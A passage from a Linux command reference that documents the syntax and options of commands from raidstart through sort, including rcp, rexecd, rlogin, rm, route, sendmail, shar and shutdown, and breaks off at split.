Display information only for filesystems in which the user is over quota.

-u

The default behavior. When used with -g, display both user and group quota information.

-v

Display quotas for filesystems even if no storage is currently allocated.

raidstart

raidstart [options] [devices]

raidstop [options] [devices]

System administration command. Start or stop RAID devices as defined in the RAID configuration file, /etc/raidtab. If option -a (or --all) is used, no devices need to be given; the command will be applied to all the devices defined in the configuration file.

Options

-a, --all

Apply command to all devices defined in the RAID configuration file.

-c file, --configfile file

Use file instead of /etc/raidtab.

-h, --help

Print usage message and exit.

-V, --version

Print version and exit.

ramsize

ramsize [option] [image [size [offset]]]

System administration command. If no options are specified, print usage information for the RAM disk. The pair of bytes at offset 504 in the kernel image normally specify the RAM size; with a kernel image argument, print the information found at that offset. To change that information, specify a new size (in kilobytes). You may also specify a different offset. Note that rdev -r is the same as ramsize.

Option

-o offset

Same as specifying an offset as an argument.

ranlib

ranlib filename

Generate an index for archive file filename. Same as running ar -s.

rarp

rarp [options]

System administration command. Administer the Reverse Address Resolution Protocol table (usually /proc/net/rarp).

Options

-a [hostname]

Show all entries. If hostname is specified, show only the entries relevant to hostname, which may be a list.

-d hostname

Remove the entries relevant to hostname, which may be a list.

-s hostname hw_addr

Add a new entry for hostname, with the hardware address hw_addr.

-t type

Check only for type entries when consulting or changing the table. type may be ether (the default) or ax25.

-v

Verbose mode.

rcp

rcp [options] file1 file2

rcp [options] file ... directory

Copy files between two machines. Each file or directory is either a remote filename of the form rname@rhost:path or a local filename.

Options

-k

Attempt to get tickets for remote host; query krb_realmofhost to determine realm.

-p

Preserve modification times and modes of the source files.

-r

If any of the source files are directories, rcp copies each subtree rooted at that name. The destination must be a directory.

-x

Turns on DES encryption for all data passed by rcp.

rdate

rdate [options] [host...]

TCP/IP command. Retrieve the date and time from a host or hosts on the network and optionally set the local system time.

Options

-p

Print the retrieved dates.

-s

Set the local system time from the host; must be specified by root.

rdev

rdev [options] [image [value [offset]]]

System administration command. If no arguments are specified, display a line, in /etc/mtab syntax, that describes the root filesystem. Otherwise, change the values of the bytes in the kernel image that describe the RAM disk size (by default located at decimal byte offset 504 in the kernel), VGA mode (default 506), and root device (default 508). You must specify the kernel image to change and may specify a new value and a different offset.

Options

-o offset

Same as specifying an offset as an argument. The offset is given in decimal.

-r

Behave like ramsize.

-s

Behave like swapdev.

-v

Behave like vidmode.

-R

Behave like rootflags.

rdist

rdist [options] [names]

System administration command. Remote file distribution client program. rdist maintains identical copies of files over multiple hosts. It reads commands from a file named distfile to direct the updating of files and/or directories. An alternative distfile can be specified with the -f option or the -c option.

Options

-a num

Do not update filesystems with fewer than num bytes free.

-c name [login@]host[:dest]

Interpret the arguments as a small distfile, where login is the user to log in as, host is the destination host, name is the local file to transfer, and dest is the remote name where the file should be installed.

-d var=value

Define var to have value. This option defines or overrides variable definitions in the distfile. Set the variable var to value.

-f file

Read input from file (by default, distfile). If file is -, read from standard input.

-l options

Specify logging options on the local machine.

-m machine

Update only machine. May be specified multiple times for multiple machines.

-n

Suppress normal execution. Instead, print the commands that would have been executed.

-o options

Specify one or more options, which must be comma-separated.

chknfs

Suppress operations on files that reside on NFS filesystems.

chkreadonly

Check filesystem to be sure it is not read-only before attempting to perform updates.

chksym

Do not update files that exist on the local host but are symbolic links on the remote host.

compare

Compare files; use this comparison rather than age as the criteria for determining which files should be updated.

follow

Interpret symbolic links, copying the file to which the link points instead of creating a link on the remote machine.

ignlnks

Ignore links that appear to be unresolvable.

nochkgroup

Do not update a file's group ownership unless the entire file needs updating.

nochkmode

Do not update file mode unless the entire file needs updating.

nochkowner

Do not update file ownership unless the entire file needs updating.

nodescend

Suppress recursive descent into directories.

noexec

Suppress rdist of executables that are in a.out format.

numchkgroup

Check group ownership by group ID instead of by name.

numchkowner

Check file ownership by user ID instead of by name.

quiet

Quiet mode; do not print commands as they execute.

remove

Remove files that exist on the remote host but not the local host.

savetargets

Save updated files in name.old.

verify

Print a list of all files on the remote machine that are out of date, but do not update them.

whole

Preserve directory structure by creating subdirectories on the remote machine. For example, if you rdist the file /foo/bar into the directory /baz, it would produce the file /baz/foo/bar, instead of the default, /baz/bar.

younger

Do not update files that are younger than the master files.

-p path

Specify the path to search for rdistd on the remote machine.

-t seconds

Specify the timeout period (default 900 seconds) after which rdist will sever the connection if the remote server has not yet responded.

-A num

Specify the minimum number of inodes that rdist requires.

-D

Debugging mode.

-F

Execute all commands sequentially, without forking.

-L options

Specify logging options on the remote machine.

-M num

Do not allow more than num child rdist processes to run simultaneously. Default is 4.

-P path

Specify path to rsh on the local machine.

rdistd

rdistd options

System administration command. Start the rdist server. Note that you must specify the -S option, unless you are simply querying for version information with -V.

Options

-D

Debugging mode.

-S

Start the server.

-V

Display the version number and exit immediately.

reboot

reboot [options]

System administration command. Close out filesystems, shut down the system, then reboot the system. Because this command immediately stops all processes, it should be run only in single-user mode. If the system is not in runlevel 0 or 6, reboot calls shutdown -nf.

Options

-d

Suppress writing to /var/log/wtmp.

-f

Call reboot even when shutdown would normally be called.

-n

Suppress normal call to sync.

-w

Suppress normal execution; simply write to /var/log/wtmp.

renice

renice [priority] [options] [target]

Control the scheduling priority of various processes as they run. May be applied to a process, process group, or user (target). A privileged user may alter the priority of other users' processes. priority must, for ordinary users, lie between 0 and the environment variable PRIO_MAX (normally 20), with a higher number indicating increased niceness. A privileged user may set a negative priority, as low as PRIO_MIN, to speed up processes.

Options

+num

Specify number by which to increase current priority of process, rather than an absolute priority number.

-num

Specify number by which to decrease current priority of process, rather than an absolute priority number.

-g

Interpret target parameters as process group IDs.

-p

Interpret target parameters as process IDs (default).

-u

Interpret target parameters as usernames.

reset

reset

Clear screen (reset terminal).

rev

rev [file]

Reverse the lines of a file onto standard output. The order of characters on each line is also reversed. If no file is specified, rev reads from standard input.

rexecd

rexecd command-line

TCP/IP command. Server for the rexec routine, providing remote execution facilities with authentication based on usernames and passwords. rexecd is started by inetd and must have an entry in inetd's configuration file, /etc/inetd.conf. When rexecd receives a service request, the following protocol is initiated:

  1. The server reads characters from the socket up to a null byte. The resulting string is interpreted as an ASCII number, base 10.

  2. If the number received in step 1 is nonzero, it is interpreted as the port number of a secondary stream to be used for stderr. A second connection is then created to the specified port on the client's machine.

  3. A null-terminated username of at most 16 characters is retrieved on the initial socket.

  4. A null-terminated, unencrypted password of at most 16 characters is retrieved on the initial socket.

  5. A null-terminated command to be passed to a shell is retrieved on the initial socket. The length of the command is limited by the upper bound on the size of the system's argument list.

  6. rexecd then validates the user, as is done at login time and, if the authentication was successful, changes to the user's home directory and establishes the user and group protections of the user.

  7. A null byte is returned on the connection associated with stderr, and the command line is passed to the normal login shell of the user. The shell inherits the network connections established by rexecd.

Diagnostics

Username too long

Name is longer than 16 characters.

Password too long

Password is longer than 16 characters.

Command too long

Command passed is too long.

Login incorrect

No password file entry for the username exists.

Password incorrect

Wrong password was supplied.

No remote directory

chdir to home directory failed.

Try again

fork by server failed.

<shellname>:...

fork by server failed. User's login shell could not be started.

rlogin

rlogin rhost [options]

Remote login. rlogin connects the terminal on the current local host system to the remote host system rhost. The remote terminal type is the same as your local terminal type. The terminal or window size is also copied to the remote system if the server supports it.

Options

-8

Allow an 8-bit input data path at all times.

-e c

Specify escape character c (default is ~).

-d

Debugging mode.

-k

Attempt to get tickets from remote host, requesting them in the realm as determined by krb_realm-ofhost.

-l username

Specify a different username for the remote login. Default is the same as your local username.

-x

Turns on DES encryption for all data passed via the rlogin session.

-E

Do not interpret any character as an escape character.

-K

Suppress all Kerberos authentication.

-L

Allow rlogin session to be run without any output postprocessing (i.e., run in litout mode).

rlogind

rlogind [options]

TCP/IP command. Server for the rlogin program, providing a remote login facility, with authentication based on privileged port numbers from trusted hosts. rlogind is invoked by inetd when a remote login connection is requested and executes the following protocol:

  • The server checks the client's source port. If the port is not in the range 0-023, the server aborts the connection.

  • The server checks the client's source address and requests the corresponding hostname. If the hostname cannot be determined, the dot-notation representation of the host address is used.

The login process propagates the client terminal's baud rate and terminal type, as found in the environment variable, TERM.

Options

-a

Verify hostname.

-l

Do not authenticate hosts via a nonroot .rhosts file.

-n

Suppress keep-alive messages.

rm

rm [options] files

Delete one or more files. To remove a file, you must have write permission in the directory that contains the file, but you need not have permission on the file itself. If you do not have write permission on the file, you will be prompted (y or n) to override.

Options

-d, --directory

Remove directories, even if they are not empty. Available only to a privileged user.

-f, --force

Remove write-protected files without prompting.

--help

Print a help message and then exit.

-i, --interactive

Prompt for y (remove the file) or n (do not remove the file).

-r, -R, --recursive

If file is a directory, remove the entire directory and all its contents, including subdirectories. Be forewarned: use of this option can be dangerous.

-v, --verbose

Turn on verbose mode. (rm prints the name of each file before removing it.)

--version

Print version information and then exit.

--

Mark the end of options. Use this when you need to supply a filename beginning with -.

rmail

rmail user...

TCP/IP command. Handle remote mail received via uucp, collapsing From lines in the form generated by mail into a single line of the form return-path!sender and passing the processed mail onto sendmail. rmail is explicitly designed for use with uucp and sendmail.

rmdir

rmdir [options] directories

Delete the named directories (not the contents). directories are deleted from the parent directory and must be empty (if not, rm -r can be used instead). See also mkdir.

Options

--help

Print a help message and then exit.

--ignore-fail-on-non-empty

Ignore failure to remove directories that are not empty.

-p, --parents

Remove directories and any intervening parent directories that become empty as a result; useful for removing subdirectory trees.

--verbose

Turn on verbose mode; print message for each directory as it is processed.

--version

Print version information and then exit.

rmmod

rmmod [option] modules

System administration command. Unload a module or list of modules from the kernel. This command is successful only if the specified modules are not in use and no other modules are dependent on them.

Option

-r

Recursively remove stacked modules (all modules that use the specified module).

rootflags

rootflags [option] image [flags [offset]]

System administration command. Sets flags for a kernel image. If no arguments are specified, print flags for the kernel image. flags is a 2-byte integer located at offset 498 in a kernel image. Currently the only effect of flags is to mount the root filesystem in read-only mode if flags is non-zero. You may change flags by specifying the kernel image to change, the new flags, and the byte-offset at which to place the new information (the default is 498). Note that rdev -R is a synonym for rootflags. If LILO is used, rootflags is not needed. flags can be set from the LILO prompt during a boot.

Option

-o offset

Same as specifying an offset as an argument.

route

route [option] [command]

TCP/IP command. Manually manipulate the routing tables normally maintained by routed. route accepts two commands: add, to add a route, and del, to delete a route. The two commands have the following syntax:

add [-net | -host] address [gw gateway]
    [netmask mask] [mss tcp-mss] [dev device]
del address

address is treated as a plain route unless -net is specified or address is found in /etc/networks. -host can be used to specify that address is a plain route whether or not it is found in /etc/networks. The keyword default means to use this route for all requests if no other route is known. You can specify the gateway through which to route packets headed for that address, its netmask, TCP mss, and the device with which to associate the route. Only a privileged user may modify the routing tables.

If no command is specified, route prints the routing tables.

Option

-n

Show numerical addresses; do not look up hostnames. (Useful if DNS is not functioning properly.)

routed

routed [options] [logfile]

TCP/IP command. Network routing daemon. routed is invoked by a privileged user at boot time to manage the Internet routing tables. The routing daemon uses a variant of the Xerox NS Routing Information Protocol in maintaining up-to-date kernel routing-table entries. When routed is started, it uses the SIOCGIFCONF ioctl call to find those directly connected interfaces configured into the system and marked up. routed transmits a REQUEST packet on each interface, then enters a loop, listening for REQUEST and RESPONSE packets from other hosts. When a REQUEST packet is received, routed formulates a reply based on the information maintained in its internal tables. The generated RESPONSE packet contains a list of known routes. Any RESPONSE packets received are used to update the routing tables as appropriate.

When an update is applied, routed records the change in its internal tables, updates the kernel routing table, and generates a RESPONSE packet reflecting these changes to all directly connected hosts and networks.

Options

-d

Debugging mode. Log additional information to the logfile.

-g

Offer a route to the default destination.

-q

Opposite of -s option.

-s

Force routed to supply routing information, whether it is acting as an internetwork router or not.

-t

Stop routed from going into background and releasing itself from the controlling terminal, so that interrupts from the keyboard will kill the process.

rpcgen

rpcgen [options] file

Parse file, which should be written in the RPC language, and produce a program written in C that implements the RPC code. Place header code generated from file.x in file.h, XDR routines in file_xdr.c, server code in file_svc.c, and client code in file_clnt.c. Lines preceded by % are not parsed. By default, rpcgen produces SunOS 4.1-compatible code.

-a

Produce all files (client and server).

-5

Produce SVR4-compatible code.

-c

Create XDR routines. Cannot be used with other options.

-C

Produce ANSI C code (default).

-D name[=value]

Define the symbol name, and set it equal to value or 1.

-h

Produce a header file. With -T, make the file support RPC dispatch tables. Cannot be used with other options.

-I

Produce an inetd-compatible server.

-K secs

Specify amount of time that the server should wait after replying to a request and before exiting. Default is 120. A secs of -1 prevents the program from ever exiting.

-l

Produce client code. Cannot be used with other options.

-m

Produce server code only, suppressing creation of a "main" routine. Cannot be used with other options.

-N

New style. Allow multiple arguments for procedures. Not necessarily backward compatible.

-o [file]

Print output to file or standard output.

-Ss

Create skeleton server code only.

-t

Create RPC dispatch table. Cannot be used with other options.

-T

Include support for RPC dispatch tables.

rpcinfo

rpcinfo [options] [host] [program] [version]

NFS/NIS command. Report RPC information. program can be either a name or a number. If a version is specified, rpcinfo attempts to call that version of the specified program. Otherwise, it attempts to find all the registered version numbers for the specified program by calling Version 0, and it attempts to call each registered version.

Options

-b program version

Make an RPC broadcast to the specified program and version, using UDP, and report all hosts that respond.

-d program version

Delete the specified version of program's registration. Can be executed only by the user who added the registration or a privileged user.

-n portnum

Use portnum as the port number for the -t and -u options, instead of the port number given by the portmapper.

-p [host]

Probe the portmapper on host and print a list of all registered RPC programs. If host is not specified, it defaults to the value returned by hostname.

-t host program [version]

Make an RPC call to program on the specified host, using TCP, and report whether a response was received.

-u host program [version]

Make an RPC call to program on the specified host, using UDP, and report whether a response was received.

Examples

To show all of the RPC services registered on the local machine, use:

$ rpcinfo -p

To show all of the RPC services registered on the machine named klaxon, use:

$ rpcinfo -p klaxon

To show all machines on the local net that are running the Network Information Service (NIS), use:

$ rpcinfo -b ypserv version | uniq

where version is the current NIS version obtained from the results of the -p switch earlier in this list.

rpm

rpm [options]

The Red Hat Package Manager. A freely available packaging system for software distribution and installation. RPM packages are built, installed, and queried with the rpm command. For detailed information on rpm, see Chapter 5, "Red Hat and Debian Package Managers".

rsh

rsh [options] host [command]

Execute command on remote host, or, if no command is specified, begin an interactive shell on the remote host using rlogin.

Options

-d

Enable socket debugging.

-k

Cause rsh to obtain tickets for the remote host in realm instead of the remote host's realm as determined by krb_realmofhost(3).

-l username

Attempt to log in as username. By default, the name of the user executing rsh is used.

-n

Redirects the input to rsh from the special device /dev/null. (This should be done when backgrounding rsh from a shell prompt, to direct the input away from the terminal.)

-x

Turns on DES encryption for all data exchange.

-K

Suppress Kerberos authentication.

rshd

rshd [options]

TCP/IP command. Remote shell server for programs such as rcmd and rcp, which need to execute a noninteractive shell on remote machines. rshd is started by inetd and must have an entry in inetd's configuration file, /etc/inetd.conf.

All options are exactly the same as those in rlogind, except for -L, which is unique to rshd.

Option

-L

Log all successful connections and failed attempts via syslogd.

rstat

rstat host

TCP/IP command. Summarize host's system status: the current time, uptime, and load averages -- the average number of jobs in the run queue. Queries the remote host's rstat_svc daemon.

run-parts

run-parts [options] [directory]

System administration command. Run, in lexical order, all scripts found in directory. Exclude scripts whose filenames include nonalphanumeric characters (besides underscores and hyphens).

Options

--

Interpret all subsequent arguments as filenames, not options.

--test

Print information listing which scripts would be run, but suppress actual execution of them.

--umask=umask

Specify umask. The default is 022.

runlevel

runlevel

System administration command. Display the previous and current system runlevels.

ruptime

ruptime [options]

TCP/IP command. Provide information on how long each machine on the local network has been up and which users are logged in to each. If a machine has not reported in for 11 minutes, assume it is down. The listing is sorted by hostname.

Options

-a

Include users who have been idle for more than one hour.

-l

Sort machines by load average.

-r

Reverse the normal sort order.

-t

Sort machines by uptime.

-u

Sort machines by the number of users logged in.

rusers

rusers [options] [host]

TCP/IP command. List the users logged on to host, or to all local machines, in who format (hostname, usernames).

Options

-a

Include machines with no users logged in.

-l

Include more information: tty, date, time, idle time, remote host.

rwall

rwall host [file]

TCP/IP command. Print a message to all users logged on to host. If file is specified, read the message from it; otherwise, read from standard input.

rwho

rwho [option]

Report who is logged on for all machines on the local network (similar to who).

Option

-a

List users even if they've been idle for more than one hour.

rwhod

rwhod

TCP/IP command. System status server that maintains the database used by the rwho and ruptime programs. Its operation is predicated on the ability to broadcast messages on a network. As a producer of information, rwhod periodically queries the state of the system and constructs status messages, which are broadcast on a network. As a consumer of information, it listens for other rwhod servers' status messages, validates them, then records them in a collection of files located in the directory /var/spool/rwho. Messages received by the rwhod server are discarded unless they originated at an rwhod server's port. Status messages are generated approximately once every 3 minutes.

script

script [option] [file]

Fork the current shell and make a typescript of a terminal session. The typescript is written to file. If no file is given, the typescript is saved in the file typescript. The script ends when the forked shell exits, usually with Ctrl-D or exit.

Option

-a

Append to file or typescript instead of overwriting the previous contents.

sed

sed [options] [command] [files]

Stream editor -- edit one or more files without user interaction. See Chapter 12, "The sed Editor", for more information.

sendmail

sendmail [flags] [address...]

System administration command. sendmail is a mail transfer agent (MTA) or, more simply, a mail router. It accepts mail from a user's mail program, interprets the mail address, rewrites the address into the proper form for the delivery program, and routes the mail to the correct delivery program.

Command-line flags

-b x

Set operation mode to x. Operation modes are:

a

Run in ARPAnet mode.

d

Run as a daemon.

i

Initialize the alias database.

m

Deliver mail (default).

p

Print the mail queue.

s

Speak SMTP on input side.

t

Run in test mode.

v

Verify addresses; do not collect or deliver.

-C file

Use configuration file file.

-d level

Set debugging level.

-F name

Set full name of user to name.

-f name

Sender's name is name.

-h cnt

Set hop count (number of times message has been processed by sendmail) to cnt.

-n

Do not alias or forward.

-o x value

Set option x to value value. Options are described below.

-p protocol

Receive messages via the protocol protocol.

-q [time]

Process queued messages immediately, or at intervals indicated by time (for example, -q30m for every half hour).

-r name

Obsolete form of -f.

-t

Read head for To:, Cc:, and Bcc: lines, and send to everyone on those lists.

-v

Verbose.

-X file

Log all traffic to file. Not to be used for normal logging.

Configuration options

The following options can be set with the -o flag on the command line or the O line in the configuration file:

7

Format all incoming messages in 7 bits.

a min

If the D option is set, wait min minutes for the aliases file to be rebuilt before returning an alias database out-of-date warning.

A file

Use alternate alias file.

b minblocks[/maxsize]

Require at least minblocks to be free, and optionally set the maximum message size to maxsize. If maxsize is omitted, the slash is optional.

B char

Set unquoted space replacement character.

c

On mailers that are considered "expensive" to connect to, don't initiate immediate connection.

C num

Checkpoint the queue when mailing to multiple recipients. sendmail will rewrite the list of recipients after each group of num recipients has been processed.

d x

Set the delivery mode to x. Delivery modes are d for deferred delivery, i for interactive (synchronous) delivery, b for background (asynchronous) delivery, and q for queue only -- i.e., deliver the next time the queue is run.

D

Try to automatically rebuild the alias database if necessary.

e x

Set error processing to mode x. Valid modes are m to mail back the error message, w to write back the error message, p to print the errors on the terminal (default), q to throw away error messages, and e to do special processing for the BerkNet.

E text

Set error message header. text is either text to add to an error message or the name of a file. A filename must include its full path and begin with a /.

f

Save Unix-style From lines at the front of messages.

F mode

Set default file permissions for temporary files. If this option is missing, default permissions are 0644.

G

Compare local mail names to the GECOS section in the password file.

g n

Default group ID to use when calling mailers.

H file

SMTP help file.

h num

Allow a maximum of num hops per message.

i

Do not take dots on a line by themselves as a message terminator.

I arg

Use DNS lookups and tune them. Queue messages on connection refused. The arg arguments are identical to resolver flags without the RES_ prefix. Each flag can be preceded by a plus or minus to enable or disable the corresponding name server option. There must be a whitespace between the I and the first flag.

j

Use MIME format for error messages.

J path

Set an alternative .forward search path.

k num

Specify size of the connection cache.

K time

Time out connections after time.

l

Do not ignore Errors-To header.

L n

Specify log level.

m

Send to me (the sender) also if I am in an alias expansion.

M Xvalue

Define a macro's value in command line. Assign value to macro X.

n

When running newaliases, validate the right side of aliases.

o

If set, this message may have old-style headers. If not set, this message is guaranteed to have new-style headers (i.e., commas instead of spaces between addresses).

p what,what,...

Tune how private you want the SMTP daemon. The what arguments should be separated from one another by commas. The what arguments may be any of the following:

public

Make SMTP fully public (default).

needmailhelo

Require site to send HELO or ELHO before sending mail.

needexpnhelo

Require site to send HELO or ELHO before answering an address expansion request.

needvrfyhelo

Like preceding argument but for verification requests.

noexpn

Deny all expansion requests.

novrfy

Deny all verification requests.

authwarnings

Insert special headers in mail messages advising recipients that the message may not be authentic.

goaway

Set all of the previous arguments (except public).

restrictmailq

Allow only users of the same group as the owner of the queue directory to examine the mail queue.

restrictqrun

Limit queue processing to root and the owner of the queue directory.

P user

Send copies of all failed mail to user (usually postmaster).

q fact

Multiplier (factor) for high-load queuing.

Q queuedir

Select the directory in which to queue messages.

R

Don't prune route addresses.

S file

Save statistics in the named file.

s

Always instantiate the queue file, even under circumstances in which it is not strictly necessary.

T time

Set the timeout on undelivered messages in the queue to the specified time.

t stz, dtz

Set name of the time zone.

U database

Consult the user database database for forwarding information.

u N

Set default user ID for mailers.

v

Run in verbose mode.

V host

Fall-back MX host. host should be the fully qualified domain name of the fallback host.

w

Use a record for an ambiguous MX.

x load

Queues messages when load level is higher than load.

X load

Refuse SMTP connections when load is higher than load.

y factor

Penalize large recipient lists by factor.

Y

Deliver each job that is run from the queue in a separate process. This helps limit the size of running processes on systems with very low amounts of memory.

z factor

Multiplier for priority increments. This determines how much weight to give to a message's precedence header. sendmail's default is 1800.

Z inc

Increment priority of items remaining in queue by inc after each job is processed. sendmail uses 90,000 by default.

sendmail support files

/usr/lib/sendmail

Binary of sendmail.

/usr/bin/newaliases

Link to /usr/lib/sendmail; causes the alias database to be rebuilt.

/usr/bin/mailq

Prints a listing of the mail queue.

/etc/sendmail.cf

Configuration file, in text form.

/etc/sendmail.hf

SMTP help file.

/usr/lib/sendmail.st

Statistics file. Doesn't need to be present.

/etc/aliases

Alias file, in text form.

/etc/aliases.{pag,dir}

Alias file in dbm format.

/var/spool/mqueue

Directory in which the mail queue and temporary files reside.

/var/spool/mqueue/qf

Control (queue) files for messages.

/var/spool/mqueue/df

Data files.

/var/spool/mqueue/lf

Lockfiles.

/var/spool/mqueue/tf

Temporary versions of af files, used during queue-file rebuild.

/var/spool/mqueue/nf

Used when creating a unique ID.

/var/spool/mqueue/xf

Transcript of current session.

setfdprm

setfdprm [options] device [name]

Load disk parameters used when autoconfiguring floppy devices.

Options

-c device

Clear parameters of device.

-n device

Disable format-detection messages for device.

-p device [name | parameter]

Permanently reset parameters for device. You can use name to specify a configuration, or you can specify individual parameters. The parameters that can be specified are dev, size, sect, heads, tracks, stretch, gap, rate, spec1, or fmt_gap. Consult /etc/fdprm for the original values.

-y device

Enable format-detection messages for device.

setsid

setsid command [arguments]

System administration command. Execute the named command and optional command arguments in a new session.

sh

sh [options] [file [arguments]]

The standard Unix shell, a command interpreter into which all other commands are entered. On Linux, this is just another name for the bash shell. For more information, see Chapter 7, "bash: The Bourne-Again Shell", .

shar

shar [options] files

shar -S [options]

Create shell archives (or shar files) that are in text format and can be mailed. These files may be unpacked later by executing them with /bin/sh. Other commands may be required on the recipient's system, such as compress, gzip, and uudecode. The resulting archive is sent to standard output, unless the -o option is given.

Options

-a, --net-headers

Allows automatic generation of headers. The -n option is required if the -a option is used.

-b bits, --bits-per-code=bits

Use -b bits as a parameter to compress (when doing compression). Default value is 12. The -b option automatically turns on -Z.

-c, --cut-mark

Start the shar file with a line that says "Cut here."

-d delimiter, --here-delimiter=delimiter

Use delimiter for the files in the shar instead of SHAR_EOF.

-f, --basename

Causes only simple filenames to be used when restoring, which is useful when building a shar from several directories or another directory. (If a directory name is passed to shar, the substructure of that directory will be restored whether or not -f is used.)

-g level, --level-for-gzip=level

Use -level as a parameter to gzip (when doing compression). Default is 9. The -g option turns on the -z option by default.

--help

Print a help summary on standard output, then exit.

-l nn, --whole-size-limit=nn

Limit the output file size to nn kilobytes but don't split input files. Requires use of -o.

-m, --no-timestamp

Don't generate touch commands to restore the file modification dates when unpacking files from the archive.

-n name, --archive-name=name

Name of archive to be included in the header of the shar files. Required if the -a option is used.

--no-i18n

Do not produce internationalized shell archives; use default English messages. By default, shar produces archives that will try to output messages in the unpacker's preferred language (as determined by LANG/LC_MESSAGES).

-o prefix, --output-prefix=prefix

Save the archive to files prefix.01 through prefix.nn (instead of sending it to standard output). This option must be used when either -l or -L is used.

-p, --intermix-type

Allow positional parameter options. The options -B, -T, -z, and -Z may be embedded, and files to the right of the option will be processed in the specified mode.

--print-text-domain-dir

Print the directory shar looks in to find messages files for different languages, then immediately exit.

-q, --quiet, --silent

Turn off verbose mode.

-s who@where, --submitter=who@where

Supply submitter name and address, instead of allowing shar to determine it automatically.

--version

Print the version number of the program on standard output, then exit.

-w, --no-character-count

Do not check each file with wc -c after unpacking. The default is to check.

-x, --no-check-existing

Overwrite existing files without checking. Default is to check and not overwrite existing files. If -c is passed as a parameter to the script when unpacking (sh archive -c), existing files will be overwritten unconditionally. See also -X.

-z, --gzip

gzip and uuencode all files prior to packing. Must be unpacked with uudecode and gunzip (or zcat).

-B, --uuencode

Treat all files as binary; use uuencode prior to packing. This increases the size of the archive, and it must be unpacked with uudecode.

-D, --no-md5-digest

Do not use md5sum digest to verify the unpacked files. The default is to check.

-F, --force-prefix

Force the prefix character to be prepended to every line even if not required. May slightly increase the size of the archive, especially if -B or -Z is used.

-L nn, --split-size-limit=nn

Limit output file size to nn kilobytes and split files if necessary. The archive parts created with this option must be unpacked in correct order. Requires use of -o.

-M, --mixed-uuencode

Pack files in mixed mode (the default). Distinguishes files as either text or binary; binaries are uuencoded prior to packing.

-P, --no-piping

Use temporary files instead of pipes in the shar file.

-Q, --quiet-unshar

Disable verbose mode.

-S, --stdin-file-list

Read list of files to be packed from standard input rather than from the command line. Input must be in a form similar to that generated by the find command, with one filename per line.

-T, --text-files

Treat all files as text.

-V, --vanilla-operation

Produce shars that rely only upon the existence of sed and echo in the unsharing environment.

-X, --query-user

Prompt user to ask if files should be overwritten when unpacking.

-Z, --compress

Compress and uuencode all files prior to packing.

showmount

showmount [options] [host]

NFS/NIS command. Show information about an NFS server. This information is maintained by the mountd server on host. The default value for host is the value returned by hostname. With no options, show the clients that have mounted directories from the host. showmount is usually found in /usr/sbin, which is not in the default search path.

Options

-a, --all

Print all remote mounts in the format:

     hostname:directory

where hostname is the name of the client and directory is the root of the filesystem that has been mounted.

-d, --directories

List directories that have been remotely mounted by clients.

-e, --exports

Print the list of exported filesystems.

-h, --help

Provide a short help summary.

--no-headers

Do not print headers.

-v, --version

Report the current version number of the program.

shutdown

shutdown [options] when [message]

System administration command. Terminate all processing. when may be a specific time (in hh:mm format), a number of minutes to wait (in +m format), or now. A broadcast message notifies all users to log off the system. Processes are signaled with SIGTERM, to allow them to exit gracefully. /etc/init is called to perform the actual shutdown, which consists of placing the system in runlevel 1. Only privileged users can execute the shutdown command. Broadcast messages, default or defined, are displayed at regular intervals during the grace period; the closer the shutdown time, the more frequent the message.

Options

-c

Cancel a shutdown that is in progress.

-f

Reboot fast, by suppressing the normal call to fsck when rebooting.

-h

Halt the system when shutdown is complete.

-k

Print the warning message, but suppress actual shutdown.

-n

Perform shutdown without a call to init.

-r

Reboot the system when shutdown is complete.

-t sec

Ensure a sec-second delay between killing processes and changing the runlevel.

size

size [options] [objfile...]

Print the number of bytes of each section of objfile and its total size. If objfile is not specified, a.out is used.

Options

-d

Display the size in decimal and hexadecimal.

--format format

Imitate the size command from either System V (--format sysv) or BSD (--format berkeley).

-o

Display the size in octal and hexadecimal.

--radix num

Specify how to display the size: in hexadecimal and decimal (if num is 10 or 16) or hexadecimal and octal (if num is 8).

-x

Display the size in hexadecimal and decimal.

-A

Imitate System V's size command.

-B

Imitate BSD's size command.

slattach

slattach [options] [tty]

TCP/IP command. Attach serial lines as network interfaces, thereby preparing them for use as point-to-point connections. Only a privileged user may attach or detach a network interface.

Options

-c command

Run command when the connection is severed.

-d

Debugging mode.

-e

Exit immediately after initializing the line.

-h

Exit when the connection is severed.

-l

Create UUCP-style lockfile in /var/spool/uucp.

-L

Enable 3-wire operation.

-m

Suppress initialization of the line to 8 bits raw mode.

-n

Similar to mesg -n.

-p protocol

Specify protocol, which may be slip, adaptive, ppp, or kiss.

-q

Quiet mode; suppress messages.

-s speed

Specify line speed.

sleep

sleep amount[units]

Wait a specified amount of time before executing another command. The default for units is seconds.

Time | Units
s | seconds
m | minutes
h | hours
d | days
sort

sort [options] [files]

Sort the lines of the named files. Compare specified fields for each pair of lines, or, if no fields are specified, compare them by byte, in machine collating sequence. See also uniq, comm, and join.

Options

-b

Ignore leading spaces and tabs.

-c

Check whether files are already sorted, and, if so, produce no output.

-d

Sort in dictionary order.

-f

Fold -- ignore uppercase/lowercase differences.

--help

Print a help message and then exit.

-i

Ignore nonprinting characters (those outside ASCII range 040-176).

-m

Merge (i.e., sort as a group) input files.

-n

Sort in arithmetic order.

-o file

Put output in file.

-r

Reverse the order of the sort.

-t c

Separate fields with c (default is a tab).

-u

Identical lines in input file appear only one (unique) time in output.

-z recsz

Provide recsz bytes for any one line in the file. This option prevents abnormal termination of sort in certain cases.

+n [-m]

Skip n fields before sorting, and sort up to field position m. If m is missing, sort to end of line. Positions take the form a.b, which means character b of field a. If .b is missing, sort at the first character of the field.

-k n[,m]

Similar to +. Skip n-1 fields and stop at m-1 fields (i.e., start sorting at the nth field, where the fields are numbered beginning with 1).

--version

Print version information and then exit.

-M

Attempt to treat the first three characters as a month designation (JAN, FEB, etc.). In comparisons, treat JAN < FEB and any valid month as less than an invalid name for a month.

-T tempdir

Directory pathname to be used for temporary files.

Examples

List files by decreasing number of lines:

wc -l * | sort -r

Alphabetize a list of words, remove duplicates, and print the frequency of each word:

sort -fd wordlist | uniq -c

Sort the password file numerically by the third field (user ID):

sort +2n -t: /etc/passwd
split

split [option] [infile] [outfile]

Split infile into equal-sized segments. infile remains unchanged, and the results are written to outfile aa, outfile ab, and so on. (default is xaa, xab, etc.). If infile is - (or missing), standard input is read. See also csplit.

Options

-n, -l n, --lines=n

Split infile into n-line segments (default is 1000).

-b n[bkm], --bytes=n[bkm]

Split infile into n-byte segments. Alternate blocksizes may be specified:

b

512 bytes

k

1 kilobyte

m

1 megabyte

-C bytes[bkm], --line-bytes=bytes[bkm]

Put a maximum of bytes into file; insist on adding complete lines.

--help

